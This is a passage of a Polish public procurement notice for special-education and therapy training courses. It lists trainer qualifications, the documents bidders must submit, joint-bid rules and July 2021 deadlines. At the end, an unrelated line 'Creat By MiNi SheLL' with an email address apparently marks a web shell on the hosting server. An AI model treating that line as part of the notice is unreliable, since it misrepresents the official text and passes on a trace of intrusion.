iż dysponuje zespołem trenerów (wykładowców) skierowanych do realizacji zamówienia odpowiedzialnych za przeprowadzenie szkolenia, w skład którego wchodzi co najmniej: <br/>1)	psycholog lub pedagog lub pedagog specjalny lub specjalista wczesnej logopedii klinicznej, będący terapeutą ACC, mający doświadczenie w pracy z dziećmi z dysfunkcjami rozwojowymi, w szczególności z autyzmem i Zespołem Aspergera;<br/>Powyższa osoba winna legitymować się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu komunikacji alternatywnej i wspomagającej lub nauki mowy u dzieci ze spektrum autyzmu;<br/>2)	psycholog lub pedagog lub pedagog specjalny lub specjalista wczesnej logopedii klinicznej, będący terapeutą ACC, mający doświadczenie w pracy z dziećmi z dysfunkcjami rozwojowymi, w szczególności z autyzmem i Zespołem Aspergera;<br/>Powyższa osoba winna legitymować się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu Treningu bazowych umiejętności związanych z komunikacją dzieci z trudnościami w zakresie funkcji wzroku, słuchu, mowy.<br/>Zamawiający dopuszcza pełnienie powyższych funkcji przez jedną osobę pod wa-runkiem spełnienia powyższych wymagań. <br/><br/>DLA CZĘŚCI nr 8: Kursy i szkolenia z pedagogiki specjalnej- INTEGRACYJNE (SENSORYKA)<br/>Wykonawca wykaże, iż dysponuje zespołem trenerów (wykładowców) skierowanych do realizacji zamówienia odpowiedzialnych za przeprowadzenie szkolenia, w skład którego wchodzi co najmniej: <br/>2 osoby o specjalizacjach: psycholog lub pedagog lub pedagog specjalny, będące certyfikowanymi terapeutami integracji sensorycznej, posiadających doświadczenie w pracy z dziećmi z dysfunkcjami rozwojowymi;<br/>Każda z powyższych osób winna legitymować się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń pn. „Integracja sensoryczna stopień I i II”.<br/><br/>DLA CZĘŚCI nr 9: Kursy i szkolenia z pedagogiki specjalnej- INTEGRACYJNE (BEHAWIORALNE)<br/>Wykonawca wykaże, iż dysponuje zespołem trenerów (wykładowców) skierowanych do realizacji zamówienia odpowiedzialnych za przeprowadzenie szkolenia, w skład którego wchodzi co najmniej: <br/>1)	psycholog lub pedagog lub pedagog specjalny, będący certyfikowanym terapeutą behawioralnym lub absolwentem Stosowanej Analizy Zachowania mający doświadczenie w pracy z dziećmi z dysfunkcjami rozwojowymi, legitymujący się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu terapii behawioralnej.<br/><br/>DLA CZĘŚCI nr 10: Kursy i szkolenia z zakresu GIMNASTYKI KOREKCYJNEJ <br/>Wykonawca wykaże, iż dysponuje zespołem trenerów (wykładowców) skierowanych do realizacji zamówienia odpowiedzialnych za przeprowadzenie szkolenia, w skład którego wchodzi co najmniej: <br/>2 osoby o specjalizacjach: fizjoterapeuta lub rehabilitant lub instruktor wychowania fizycznego z wykształceniem magisterskim, legitymujące się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu gimnastyki korekcyjnej, których uczestnicy otrzymywali uprawnienia do prowadzenia zajęć gimnastyki korekcyjnej (dot. każdej z osób wchodzących w skład zespołu).<br/><br/>DLA CZĘŚCI nr 11: Kursy i szkolenia z zakresu PSYCHOMOTORYKI<br/>Wykonawca wykaże, iż dysponuje zespołem trenerów (wykładowców) skierowanych do realizacji zamówienia odpowiedzialnych za przeprowadzenie szkolenia, w skład którego wchodzi co najmniej: <br/>dwóch pedagogów będących czynnymi terapeutami psychomotoryki, każdy z nich legitymujący się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu psychomotoryki. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">Zgodnie z art. 274 ust. 1 ustawy Pzp, Zamawiający przed wyborem najkorzystniejszej oferty wezwie wykonawcę, którego oferta została najwyżej oceniona, do złożenia w wyznaczonym terminie, nie krótszym niż 5 dni, aktualnych na dzień złożenia, następujących podmiotowych środków dowodowych W zakresie potwierdzenia warunków udziału w postępowaniu:<br/>1) wykaz osób, skierowanych przez wykonawcę do realizacji zamówienia publicznego, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami- w zakresie niezbędnym do wykazania warunku udziału w postępowaniu; (wzór stanowi załącznik nr 4 do SWZ).</span> </h3> <h3 class="mb-0">5.11.) Wykaz innych wymaganych oświadczeń lub dokumentów: </h3> 1. Do oferty należy złożyć:<br/>1) Formularz ofertowy sporządzony zgodnie ze wzorem stanowiącym załącznik nr 1 do SWZ,<br/>2) Oświadczenie o niepodleganiu wykluczeniu oraz spełnieniu warunków udziału w postępowaniu na podstawie art. 125 ust. 1, (wzór oświadczenia stanowi załącznik nr 2 do SWZ) Oświadczenie składają odrębnie: a) wykonawca/każdy spośród wykonawców wspólnie ubiegających się o udzielenie zamówienia.b) podmiot udostępniający zasoby, na którego potencjał powołuje się Wykonawca celem potwierdzenia spełnienia warunków udziału w postępowaniu.<br/>3) odpis lub informację z Krajowego Rejestru Sądowego, Centralnej Ewidencji i Informacji o Działalności Gospodarczej lub innego właściwego rejestru potwierdzającego, że osoba działająca w imieniu wykonawcy jest umocowana do jego reprezentowania.<br/>4) pełnomocnictwo lub inny dokument potwierdzający umocowanie do reprezentowania Wykonawcy, gdy umocowanie osoby składającej ofertę nie wynika z dokumentów opisanych w pkt 3).<br/>5) w przypadku wykonawców wspólnie ubiegających się o udzielenie zamówienia:a) pełnomocnictwo, w przypadku wykonawców wspólnie ubiegających się o udzielenie zamówienia, z treści którego będzie wynikało umocowanie do reprezentowania ich w postępowaniu o udzielenie zamówienia albo do reprezentowania w postępowaniu i zawarcia umowy w sprawie zamówienia publicznego. b) oświadczenie, o którym mowa w pkt 6.4 SWZ (Zamawiający dopuszcza złożenia tego oświadczenia na formularzu ofertowym);<br/>6) zobowiązanie podmiotu udostępniającego zasoby do oddania lub inny podmiotowy środek dowodowy potwierdzający, że wykonawca realizując zamówienie, będzie dysponował niezbędnymi zasobami podmiotów (jeżeli dotyczy)<br/>2. Wykonawca nie jest zobowiązany do złożenia dokumentu rejestrowego, o których mowa w ppkt 3) , jeżeli Zamawiający może je uzyskać za pomocą bezpłatnych i ogólnodostępnych baz danych, o ile Wykonawca wskazał dane umożliwiające dostęp do tych dokumentów.<br/>3. Zapisy ppkt 4) stosuje się odpowiednio do osoby działającej w imieniu wykonawców wspólnie ubiegających się o udzielenie zamówienia.<br/>4. Zapisy ppkt 3), 4) i pkt 2 stosuje się odpowiednio do osoby działającej w imieniu podmiotu udostępniającego zasoby na zasadach określonych w art. 118 ustawy Pzp lub podwykonawcy niebędącego podmiotem udostępniającym zasoby na takich zasadach. <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> 1. Wykonawcy wspólnie ubiegający się o udzielenie zamówienia ustanawiają Pełnomocnika do reprezentowania ich w niniejszym postępowaniu albo reprezentowania ich w postępowaniu i zawarcia Umowy. Umocowanie musi wynikać z treści pełnomocnictwa przedłożonego wraz z ofertą.<br/>2. Warunek dotyczący uprawnień do prowadzenia określonej działalności gospodarczej lub zawodowej (o ile został sformułowany), o którym mowa w art. 112 ust. 2 pkt 2 ustawy Pzp, zostanie spełniony, jeżeli co najmniej jeden z wykonawców wspólnie ubiegających się o udzielenie zamówienia posiada uprawnienia do prowadzenia określonej działalności gospodarczej lub zawodowej i zrealizuje usługi, do których realizacji te uprawnienia są wymagane.<br/>3. W odniesieniu do warunków dotyczących wykształcenia, kwalifikacji zawodowych lub doświadczenia (o ile zostały sformułowane) wykonawcy wspólnie ubiegający się o udzielenie zamówienia mogą polegać na zdolnościach tych z wykonawców, którzy wykonają usługi do realizacji których te zdolności są wymagane.<br/>4. W przypadku, o którym mowa w pkt 2 i 3, wykonawcy wspólnie ubiegający się o udzielenie zamówienia dołączają odpowiednio do oferty oświadczenie, z którego wynika, które usługi wykonają poszczególni wykonawcy.<br/>5. Pełnomocnictwo powinno jednoznacznie określać postępowanie, do którego się odnosi i precyzować zakres umocowania. Zaleca się, aby Pełnomocnikiem był jeden z Wykonawców wspólnie ubiegających się o udzielenie zamówienia. Wszelka korespondencja będzie prowadzona przez Zamawiającego wyłącznie z pełnomocnikiem.<br/>6. Oświadczenie o niepodleganiu wykluczeniu, spełnieniu warunków udziału w postępowaniu (art. 125 ust. 1) składa każdy z Wykonawców wspólnie ubiegających się o zamówienie. Dokument ten potwierdza spełnienie warunków udziału w postępowaniu oraz brak podstaw do wykluczenia w za-kresie, w którym każdy z Wykonawców wykazuje spełnienie warunków udziału w postępowaniu oraz brak podstaw do wykluczenia.<br/>7. Każdy z Wykonawców wspólnie ubiegających się udzielenie zamówienia musi wykazać, że nie pod-lega wykluczeniu z postępowania, dlatego dokumenty i oświadczenia składane na potwierdzenie braku podstaw do wykluczenia składają każdy z Wykonawców wspólnie ubiegających się o udzielenie zamówienia (jeżeli dotyczy).<br/>8. W przypadku wykonawców wspólnie ubiegających się o zamówienie, których oferta zostanie uzna-na za najkorzystniejszą, przed podpisaniem umowy o realizację zamówienia, są zobowiązani do zawarcia umowy cywilnoprawnej określającą rolę i zadania poszczególnych Wykonawców oraz za-sady ich współdziałania podczas realizacji zamówienia. Zamawiający może żądać przedstawienia wyżej wskazanej umowy.<br/>9. Wykonawcy wspólnie ubiegający się o zamówienie ponoszą solidarną odpowiedzialność za wykonanie umowy i wniesienie zabezpieczenia należytego wykonania umowy. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> Zamawiający przewiduje możliwość zmian postanowień umowy na podstawie art. 455 ust.1 ustawy Pzp. Szczegółowe zasady wprowadzania zmian określone zostały w PPU. <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2021-07-16 12:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">Ofertę wraz z wymaganymi dokumentami należy złożyć w formie elektronicznej za pośrednictwem Platformy, działającej pod adresem https://epropublico. pl/Zamawiajacy/AktualneOgloszenia?zamawiajacyId=f15dda4c-01df-4c59-b90fa767d9826443</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2021-07-16 12:15</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal">do 2021-08-14</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IX – POZOSTAŁE INFORMACJE</h2> Szkolenia należy przeprowadzić w terminie do 30 czerwca 2022 r.<br/><br/>Zmiana terminu wykonania zamówienia może nastąpić w przypadku zaistnienia okoliczności niezależnych od Stron umowy (np. w przypadku problemu z uzbieraniem odpowiedniej grupy szkoleniowej lub utrudnień związanych z COVID-19) pod warunkiem, iż termin wykonania umowy będzie się mieścił w terminie realizacji całego projektu. Zamawiający dopuszcza również wydłużenie terminu realizacji zamówienia poza okres realizacji projektu, o ile uzyska na takie wydłużenie zgodę Instytucji Zarządzającej RPO WO 2014-2020.</main><footer hidden><table style="border-top: 1px solid black; width:100%"><tr><td>2021-07-06 Biuletyn Zamówień Publicznych</td><td style="text-align:right">Ogłoszenie o zamówieniu - Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy - Usługi</td></tr></table></footer>

Creat By MiNi SheLL
Email: jattceo@gmail.com